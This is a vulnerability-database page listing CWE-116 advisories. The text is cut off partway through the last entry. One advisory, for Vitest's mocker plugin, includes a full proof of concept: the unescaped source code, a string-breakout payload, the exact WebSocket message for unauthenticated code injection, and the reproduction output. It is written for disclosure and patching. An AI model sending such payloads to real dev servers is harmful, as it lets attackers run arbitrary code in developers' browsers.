Common Weakness Enumeration

CWE-116

Allowed-with-Review

Improper Encoding or Escaping of Output

Abstraction: Class · Status: Draft

The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.

865 vulnerabilities reference this CWE, most recent first.

GHSA-QWJ7-CHM6-2F8F

Vulnerability from github – Published: 2021-12-14 00:00 – Updated: 2021-12-16 00:02
VLAI
Details

There is an information leak vulnerability in eCNS280_TD V100R005C10SPC650. The vulnerability is caused by improper log output management. An attacker with the ability to access the log file of device may lead to information disclosure.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-40007"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-13T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "There is an information leak vulnerability in eCNS280_TD V100R005C10SPC650. The vulnerability is caused by improper log output management. An attacker with the ability to access the log file of device may lead to information disclosure.",
  "id": "GHSA-qwj7-chm6-2f8f",
  "modified": "2021-12-16T00:02:44Z",
  "published": "2021-12-14T00:00:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-40007"
    },
    {
      "type": "WEB",
      "url": "https://www.huawei.com/en/psirt/security-advisories/huawei-sa-20211208-01-informationleak-en"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-QWQ5-HM76-R6P9

Vulnerability from github – Published: 2026-10-21 09:30 – Updated: 2026-10-21 09:30
VLAI
Details

The HappyForms WordPress plugin before 1.26.15 does not sanitise or escape a user-controlled referral value before embedding it in the form notification email, allowing unauthenticated attackers to inject arbitrary HTML into the emails site administrators receive.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-14556"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-21T09:17:07Z",
    "severity": "MODERATE"
  },
  "details": "The HappyForms WordPress plugin before 1.26.15 does not sanitise or escape a user-controlled referral value before embedding it in the form notification email, allowing unauthenticated attackers to inject arbitrary HTML into the emails site administrators receive.",
  "id": "GHSA-qwq5-hm76-r6p9",
  "modified": "2026-10-21T09:30:30Z",
  "published": "2026-10-21T09:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14556"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/7673862c-b37c-4c7e-af3f-c32cbd2deb23"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QXG6-89MG-RQV8

Vulnerability from github – Published: 2026-10-21 19:54 – Updated: 2026-10-21 19:54
VLAI
Summary
Vitest: Code injection via unauthenticated manual mock registration
Details

Summary

@vitest/mocker's interceptorPlugin accepts mock registrations on Vite's dev-server WebSocket with no authentication, and interpolates the mock's url into generated module source without escaping. A client that can reach the dev server can make it serve arbitrary JavaScript in place of any project module, which then runs in the developer's browser on the dev-server origin.

Same handler and same unauthenticated caller as GHSA-82fw-gwwq-j7x9; that fix (8ff9b9a9efca7c6cfd5243569440de8d7a33aec4, PR #10972) hardened only the redirect branch and left the manual branch reaching the unescaped generator.

Patches

Fixed in @vitest/mocker 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. createManualModuleSource now serializes the module URL and the export names with JSON.stringify, so a registered mock cannot change the generated code.

Projects that call mockerPlugin() or interceptorPlugin() directly need @vitest/mocker 4.1.12 or 5.0.3.

Details

packages/mocker/src/utils.ts:6-9 builds module source by string interpolation:

export function createManualModuleSource(moduleUrl: string, exports: string[], globalAccessor = '"__vitest_mocker__"'): string {
  const source = `
const __factoryModule__ = await globalThis[${globalAccessor}].getFactoryModule("${moduleUrl}");
`

moduleUrl lands inside a double-quoted JavaScript string with no escaping or validation.

packages/mocker/src/node/interceptorPlugin.ts:66-93 feeds it straight from the socket:

configureServer(server) {
  if (options.registerWebSocketEvents === false) { return }
  server.ws.on('vitest:interceptor:register', (event: MockedModuleSerialized) => {
    if (event.type === 'manual') {
      const module = ManualMockedModule.fromJSON(event, async () => {
        const keys = await getFactoryExports(event.url)
        return Object.fromEntries(keys.map(key => [key, null]))
      })
      registry.add(module)                       // no validation of `id` or `url`
    }
    else {
      if (event.type === 'redirect') { /* fs allowlist check added in #10972 */ }

event.id chooses which module is hijacked; event.url is what gets interpolated. The load hook (interceptorPlugin.ts:30-44) then returns createManualModuleSource(mock.url, exports, accessor) for that id.

With url = 'x"); globalThis.ARES_INJECTED = 1; void("' a request for /src/app.js is answered with valid, executable JavaScript:

const __factoryModule__ = await globalThis["__vitest_mocker__"].getFactoryModule("x"); globalThis.ARES_INJECTED = 1; void("");

getFactoryExports (interceptorPlugin.ts:103-117) also takes the export-name array from the same socket, and those names are interpolated unescaped too — but each name is emitted into __factoryModule__["X"], export { __0 as "X" } and resolvedModule["X"], and no payload tested parses in all three positions (all nine candidates were rejected by the parser). It is a hardening gap, not a second usable vector; url is the exploited one.

Who can reach the socket. Vite 8 answers HTTP 400 to any HMR upgrade carrying an Origin header it does not own, so a cross-origin browser page cannot open it — the PoC asserts this for https://evil.example and http://localhost:3000. The reachable attacker is a non-browser WebSocket client with access to the dev server's port, the same prerequisite under which GHSA-82fw-gwwq-j7x9 was published.

PoC

poc/mocker-manual-mock-injection/ — repro.sh (exit 0 = vulnerable), poc.mjs, expected.txt, env.txt. Everything lives under a fresh mktemp directory deleted on exit, the dev server binds to 127.0.0.1 on an ephemeral port, no external host is contacted, and the payload is only inspected as text — the script never evaluates it.

Environment: commit 9e1166959e14bd32298d8a0e85352431c769ec7a, @vitest/mocker 5.0.0, Node v22.23.1, Vite 8.0.11, ws 8.21.3, pnpm 11.24.0, Linux x86_64.

git clone https://github.com/vitest-dev/vitest && cd vitest
git checkout 9e1166959e14bd32298d8a0e85352431c769ec7a
pnpm install && pnpm build
REPO=$(pwd) bash /path/to/poc/mocker-manual-mock-injection/repro.sh

Required configuration — the public setup documented in packages/mocker/EXPORTS.md, which the harness reproduces (mockerPlugin() wires interceptorPlugin the same way):

import { interceptorPlugin } from '@vitest/mocker/node'
export default defineConfig({ plugins: [interceptorPlugin()] })   // or mockerPlugin()

The attack is one WebSocket message to ws://<host>:<port>/ with subprotocol vite-hmr:

{ "type": "custom", "event": "vitest:interceptor:register",
  "data": { "type": "manual", "raw": "", "id": "<abs path of a served module>",
            "url": "x\"); globalThis.ARES_INJECTED = 1; void(\"" } }

then answering the server's vitest:interceptor:resolve with {"type":"custom","event":"vitest:interceptor:resolved","data":{"url":"<same url>","keys":["a"]}}. The module id can be obtained from the same socket via vitest:mocks:resolveId when mockerPlugin() is used.

Observed output:

PASS  precondition: Vite rejects a WebSocket upgrade sent with Origin https://evil.example  result=400
PASS  precondition: Vite rejects a WebSocket upgrade sent with Origin http://localhost:3000  result=400
PASS  negative control: with no mock registered the real module is served
PASS  negative control: a mock with a harmless url replaces the module but injects nothing
--- module served for /src/app.js ---
    const __factoryModule__ = await globalThis["__vitest_mocker__"].getFactoryModule("x"); globalThis.ARES_INJECTED = 1; void("");

    let __0 = __factoryModule__["a"]
    export { __0 as "a" }
    if (__factoryModule__.__factoryPromise != null) {
      __factoryModule__.__factoryPromise.then((resolvedModule) => {
        __0 = resolvedModule["a"];
      })
    }
PASS  attacker statement is present in the module the dev server serves
PASS  the real module body was replaced
PASS  the injected module parses as JavaScript (Vite import analysis accepted it)

RESULT: VULNERABLE
  • Positive control — with no mock registered, /src/app.js is served with its real body, so the harness demonstrably works.
  • Negative control — the same registration with a harmless url replaces the module but injects nothing, attributing the injection to the payload rather than to mock registration.
  • Precondition controls — the two Origin probes record the boundary honestly.
  • Vite's import analysis rejects malformed output (an earlier deliberately-broken payload failed with "content contains invalid JS syntax"), so acceptance proves the injected module is valid, executable JavaScript.

Reproduced three times from a clean mktemp fixture, exit 0 each time.

Impact

Code injection (CWE-94) by an unauthenticated client. The attacker picks any module id the project serves and replaces its body with arbitrary JavaScript, which executes in the developer's browser on the dev-server origin: reading source through the dev server, reading that origin's storage and cookies, driving further same-origin requests, and persisting across reloads while the mock stays registered. Nothing is written to disk, so it leaves no trace in the repository. Impacts developers who use the public mockerPlugin()/interceptorPlugin() API documented in packages/mocker/EXPORTS.md. Node runs do not register these handlers. Development-only — configureServer does not run for vite build or vite preview.

Credits

  • Thai Son Dinh from VinSOC Labs (R&D)

Disclosure per CONTRIBUTING.md: the analysis and proof of concept were assisted by Claude (Claude Code). The findings were reviewed by the reporter above, who is submitting this report.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@vitest/mocker"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0-beta.7"
            },
            {
              "fixed": "4.1.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@vitest/mocker"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-beta.1"
            },
            {
              "fixed": "5.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-112949"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-306",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-21T19:54:26Z",
    "nvd_published_at": "2026-10-20T16:17:05Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`@vitest/mocker`\u0027s `interceptorPlugin` accepts mock registrations on Vite\u0027s dev-server WebSocket with no authentication, and interpolates the mock\u0027s `url` into generated module source without escaping. A client that can reach the dev server can make it serve arbitrary JavaScript in place of any project module, which then runs in the developer\u0027s browser on the dev-server origin.\n\nSame handler and same unauthenticated caller as GHSA-82fw-gwwq-j7x9; that fix (`8ff9b9a9efca7c6cfd5243569440de8d7a33aec4`, PR #10972) hardened only the `redirect` branch and left the `manual` branch reaching the unescaped generator.\n\n### Patches\n\nFixed in `@vitest/mocker` 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. `createManualModuleSource` now serializes the module URL and the export names with `JSON.stringify`, so a registered mock cannot change the generated code.\n\nProjects that call `mockerPlugin()` or `interceptorPlugin()` directly need `@vitest/mocker` 4.1.12 or 5.0.3.\n\n### Details\n\n`packages/mocker/src/utils.ts:6-9` builds module source by string interpolation:\n\n```ts\nexport function createManualModuleSource(moduleUrl: string, exports: string[], globalAccessor = \u0027\"__vitest_mocker__\"\u0027): string {\n  const source = `\nconst __factoryModule__ = await globalThis[${globalAccessor}].getFactoryModule(\"${moduleUrl}\");\n`\n```\n\n`moduleUrl` lands inside a double-quoted JavaScript string with no escaping or validation.\n\n`packages/mocker/src/node/interceptorPlugin.ts:66-93` feeds it straight from the socket:\n\n```ts\nconfigureServer(server) {\n  if (options.registerWebSocketEvents === false) { return }\n  server.ws.on(\u0027vitest:interceptor:register\u0027, (event: MockedModuleSerialized) =\u003e {\n    if (event.type === \u0027manual\u0027) {\n      const module = ManualMockedModule.fromJSON(event, async () =\u003e {\n        const keys = await getFactoryExports(event.url)\n        return Object.fromEntries(keys.map(key =\u003e [key, null]))\n      })\n      registry.add(module)                       // no validation of `id` or `url`\n    }\n    else {\n      if (event.type === \u0027redirect\u0027) { /* fs allowlist check added in #10972 */ }\n```\n\n`event.id` chooses which module is hijacked; `event.url` is what gets interpolated. The `load` hook (`interceptorPlugin.ts:30-44`) then returns `createManualModuleSource(mock.url, exports, accessor)` for that id.\n\nWith `url = \u0027x\"); globalThis.ARES_INJECTED = 1; void(\"\u0027` a request for `/src/app.js` is answered with valid, executable JavaScript:\n\n```js\nconst __factoryModule__ = await globalThis[\"__vitest_mocker__\"].getFactoryModule(\"x\"); globalThis.ARES_INJECTED = 1; void(\"\");\n```\n\n`getFactoryExports` (`interceptorPlugin.ts:103-117`) also takes the export-name array from the same socket, and those names are interpolated unescaped too \u2014 but each name is emitted into `__factoryModule__[\"X\"]`, `export { __0 as \"X\" }` and `resolvedModule[\"X\"]`, and no payload tested parses in all three positions (all nine candidates were rejected by the parser). It is a hardening gap, not a second usable vector; `url` is the exploited one.\n\n**Who can reach the socket.** Vite 8 answers HTTP 400 to any HMR upgrade carrying an `Origin` header it does not own, so a cross-origin browser page cannot open it \u2014 the PoC asserts this for `https://evil.example` and `http://localhost:3000`. The reachable attacker is a non-browser WebSocket client with access to the dev server\u0027s port, the same prerequisite under which GHSA-82fw-gwwq-j7x9 was published.\n\n### PoC\n\n`poc/mocker-manual-mock-injection/` \u2014 `repro.sh` (exit 0 = vulnerable), `poc.mjs`, `expected.txt`, `env.txt`. Everything lives under a fresh `mktemp` directory deleted on exit, the dev server binds to `127.0.0.1` on an ephemeral port, no external host is contacted, and the payload is only inspected as text \u2014 the script never evaluates it.\n\nEnvironment: commit `9e1166959e14bd32298d8a0e85352431c769ec7a`, `@vitest/mocker` 5.0.0, Node v22.23.1, Vite 8.0.11, ws 8.21.3, pnpm 11.24.0, Linux x86_64.\n\n```bash\ngit clone https://github.com/vitest-dev/vitest \u0026\u0026 cd vitest\ngit checkout 9e1166959e14bd32298d8a0e85352431c769ec7a\npnpm install \u0026\u0026 pnpm build\nREPO=$(pwd) bash /path/to/poc/mocker-manual-mock-injection/repro.sh\n```\n\nRequired configuration \u2014 the public setup documented in `packages/mocker/EXPORTS.md`, which the harness reproduces (`mockerPlugin()` wires `interceptorPlugin` the same way):\n\n```ts\nimport { interceptorPlugin } from \u0027@vitest/mocker/node\u0027\nexport default defineConfig({ plugins: [interceptorPlugin()] })   // or mockerPlugin()\n```\n\nThe attack is one WebSocket message to `ws://\u003chost\u003e:\u003cport\u003e/` with subprotocol `vite-hmr`:\n\n```json\n{ \"type\": \"custom\", \"event\": \"vitest:interceptor:register\",\n  \"data\": { \"type\": \"manual\", \"raw\": \"\", \"id\": \"\u003cabs path of a served module\u003e\",\n            \"url\": \"x\\\"); globalThis.ARES_INJECTED = 1; void(\\\"\" } }\n```\n\nthen answering the server\u0027s `vitest:interceptor:resolve` with `{\"type\":\"custom\",\"event\":\"vitest:interceptor:resolved\",\"data\":{\"url\":\"\u003csame url\u003e\",\"keys\":[\"a\"]}}`. The module id can be obtained from the same socket via `vitest:mocks:resolveId` when `mockerPlugin()` is used.\n\nObserved output:\n\n```\nPASS  precondition: Vite rejects a WebSocket upgrade sent with Origin https://evil.example  result=400\nPASS  precondition: Vite rejects a WebSocket upgrade sent with Origin http://localhost:3000  result=400\nPASS  negative control: with no mock registered the real module is served\nPASS  negative control: a mock with a harmless url replaces the module but injects nothing\n--- module served for /src/app.js ---\n    const __factoryModule__ = await globalThis[\"__vitest_mocker__\"].getFactoryModule(\"x\"); globalThis.ARES_INJECTED = 1; void(\"\");\n\n    let __0 = __factoryModule__[\"a\"]\n    export { __0 as \"a\" }\n    if (__factoryModule__.__factoryPromise != null) {\n      __factoryModule__.__factoryPromise.then((resolvedModule) =\u003e {\n        __0 = resolvedModule[\"a\"];\n      })\n    }\nPASS  attacker statement is present in the module the dev server serves\nPASS  the real module body was replaced\nPASS  the injected module parses as JavaScript (Vite import analysis accepted it)\n\nRESULT: VULNERABLE\n```\n\n* **Positive control** \u2014 with no mock registered, `/src/app.js` is served with its real body, so the harness demonstrably works.\n* **Negative control** \u2014 the same registration with a harmless `url` replaces the module but injects nothing, attributing the injection to the payload rather than to mock registration.\n* **Precondition controls** \u2014 the two `Origin` probes record the boundary honestly.\n* Vite\u0027s import analysis rejects malformed output (an earlier deliberately-broken payload failed with \"content contains invalid JS syntax\"), so acceptance proves the injected module is valid, executable JavaScript.\n\nReproduced three times from a clean `mktemp` fixture, exit 0 each time.\n\n### Impact\n\nCode injection (CWE-94) by an unauthenticated client. The attacker picks any module id the project serves and replaces its body with arbitrary JavaScript, which executes in the developer\u0027s browser on the dev-server origin: reading source through the dev server, reading that origin\u0027s storage and cookies, driving further same-origin requests, and persisting across reloads while the mock stays registered. Nothing is written to disk, so it leaves no trace in the repository. Impacts developers who use the public `mockerPlugin()`/`interceptorPlugin()` API documented in `packages/mocker/EXPORTS.md`. Node runs do not register these handlers. Development-only \u2014 `configureServer` does not run for `vite build` or `vite preview`.\n\n### Credits\n\n- Thai Son Dinh from VinSOC Labs (R\u0026D)\n\nDisclosure per CONTRIBUTING.md: the analysis and proof of concept were assisted by Claude (Claude Code). The findings were reviewed by the reporter above, who is submitting this report.",
  "id": "GHSA-qxg6-89mg-rqv8",
  "modified": "2026-10-21T19:54:26Z",
  "published": "2026-10-21T19:54:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vitest-dev/vitest/security/advisories/GHSA-qxg6-89mg-rqv8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112949"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitest-dev/vitest/commit/15cc006aa9f8683dc5f7e895d011fa7dc751ce35"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitest-dev/vitest/commit/b825313243dc55757e8d7c0f9e7a792135e13473"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vitest-dev/vitest"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitest-dev/vitest/releases/tag/v4.1.12"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitest-dev/vitest/releases/tag/v5.0.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vitest: Code injection via unauthenticated manual mock registration"
}

GHSA-R27J-R277-J56H

Vulnerability from github – Published: 2026-01-28 09:30 – Updated: 2026-02-04 12:31
VLAI
Details

CSS-based exfiltration of the content from partially encrypted emails when allowing remote content. This vulnerability affects Thunderbird < 147.0.1 and Thunderbird < 140.7.1.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-0818"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-28T08:16:03Z",
    "severity": "MODERATE"
  },
  "details": "CSS-based exfiltration of the content from partially encrypted emails when allowing remote content. This vulnerability affects Thunderbird \u003c 147.0.1 and Thunderbird \u003c 140.7.1.",
  "id": "GHSA-r27j-r277-j56h",
  "modified": "2026-02-04T12:31:25Z",
  "published": "2026-01-28T09:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0818"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1881530"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2026/02/msg00005.html"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-07"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-08"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R2J6-P67H-Q639

Vulnerability from github – Published: 2020-11-18 21:19 – Updated: 2021-01-07 22:41
VLAI
Summary
Secret disclosure when containing characters that become URI encoded
Details

Impact

Secrets that would normally be masked by semantic-release can be accidentally disclosed if they contain characters that become encoded when included in a URL.

Patches

Fixed in v17.2.3

Workarounds

Secrets that do not contain characters that become encoded when included in a URL are already masked properly.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 17.2.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "semantic-release"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "17.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-26226"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-11-18T21:18:55Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n\nSecrets that would normally be masked by `semantic-release` can be accidentally disclosed if they contain characters that become encoded when included in a URL.\n\n### Patches\n\nFixed in v17.2.3\n\n### Workarounds\n\nSecrets that do not contain characters that become encoded when included in a URL are already masked properly.",
  "id": "GHSA-r2j6-p67h-q639",
  "modified": "2021-01-07T22:41:34Z",
  "published": "2020-11-18T21:19:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/semantic-release/semantic-release/security/advisories/GHSA-r2j6-p67h-q639"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26226"
    },
    {
      "type": "WEB",
      "url": "https://github.com/semantic-release/semantic-release/commit/ca90b34c4a9333438cc4d69faeb43362bb991e5a"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Secret disclosure when containing characters that become URI encoded"
}

GHSA-R4GV-VJ59-CCCM

Vulnerability from github – Published: 2021-06-23 17:27 – Updated: 2021-05-21 18:06
VLAI
Summary
Control character injection in console output in github.com/ipfs/go-ipfs
Details

Impact

Control characters are not escaped from console output. This can result in hiding input from the user which could result in the user taking an unknown, malicious action.

Patches

  • Patched via https://github.com/ipfs/go-ipfs/pull/7831 in v0.8.0

For more information

If you have any questions or comments about this advisory: * Open an issue in go-ipfs * Email us at security@ipfs.io

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/ipfs/go-ipfs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-26283"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-150"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-21T18:06:39Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\nControl characters are not escaped from console output. This can result in hiding input from the user which could result in the user taking an unknown, malicious action.\n\n### Patches\n\u003c!-- _Has the problem been patched? What versions should users upgrade to?_  --\u003e\n\n- Patched via https://github.com/ipfs/go-ipfs/pull/7831 in v0.8.0\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [go-ipfs](http://github.com/ipfs/go-ipfs)\n* Email us at [security@ipfs.io](mailto:security@ipfs.io)",
  "id": "GHSA-r4gv-vj59-cccm",
  "modified": "2021-05-21T18:06:39Z",
  "published": "2021-06-23T17:27:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ipfs/go-ipfs/security/advisories/GHSA-r4gv-vj59-cccm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26283"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ipfs/go-ipfs/pull/7831"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ipfs/go-ipfs/commit/fb0a9acd2d8288bd1028c3219a420de62a09683a"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Control character injection in console output in github.com/ipfs/go-ipfs "
}

GHSA-R4HF-3HXR-R742

Vulnerability from github – Published: 2026-08-20 00:34 – Updated: 2026-08-20 00:34
VLAI
Details

IBM System Storage DS8A00 10.1.3.0 through 10.11.35.0 and IBM DS8900F 89.40.83.0 through 89.44.25.0 could allow an attacker to bypass security authentication due to improperly encoding of DSCLI command output to obtain sensitive information or cause a denial of service.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-36254"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-19T22:16:36Z",
    "severity": "HIGH"
  },
  "details": "IBM System Storage DS8A00 10.1.3.0 through 10.11.35.0 and IBM DS8900F 89.40.83.0 through 89.44.25.0 could allow an attacker to bypass security authentication due to improperly encoding of DSCLI command output to obtain sensitive information or cause a denial of service.",
  "id": "GHSA-r4hf-3hxr-r742",
  "modified": "2026-08-20T00:34:54Z",
  "published": "2026-08-20T00:34:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-36254"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7284322"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R5VX-68X4-4JCF

Vulnerability from github – Published: 2025-04-11 18:31 – Updated: 2025-11-03 21:33
VLAI
Details

Improper Encoding or Escaping of Output vulnerability in The Wikimedia Foundation Mediawiki Core - Feed Utils allows WebView Injection.This issue affects Mediawiki Core - Feed Utils: from 1.39 through 1.43.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-32072"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-11T17:15:43Z",
    "severity": "MODERATE"
  },
  "details": "Improper Encoding or Escaping of Output vulnerability in The Wikimedia Foundation Mediawiki Core - Feed Utils allows WebView Injection.This issue affects Mediawiki Core - Feed Utils: from 1.39 through 1.43.",
  "id": "GHSA-r5vx-68x4-4jcf",
  "modified": "2025-11-03T21:33:30Z",
  "published": "2025-04-11T18:31:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32072"
    },
    {
      "type": "WEB",
      "url": "https://gerrit.wikimedia.org/r/c/mediawiki/core/+/1120134"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/07/msg00012.html"
    },
    {
      "type": "WEB",
      "url": "https://phabricator.wikimedia.org/T386175"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-R67M-MF7V-QP7J

Vulnerability from github – Published: 2023-11-06 18:30 – Updated: 2025-07-22 17:17
VLAI
Summary
Mattermost password hash disclosure vulnerability
Details

Mattermost fails to properly sanitize the user object when updating the username, resulting in the password hash being included in the response body. 

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server/v6"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.4.0-rc1"
            },
            {
              "fixed": "7.8.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.1.0"
            },
            {
              "fixed": "8.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "9.0.0"
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.0.0-20230825233148-f787fd63368a"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server/v6"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.3.2-0.20230825233148-f787fd63368a"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server/v5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.3.2-0.20230825233148-f787fd63368a"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.3.2-0.20230825233148-f787fd63368a"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-5968"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-200"
    ],
    "github_reviewed": true,
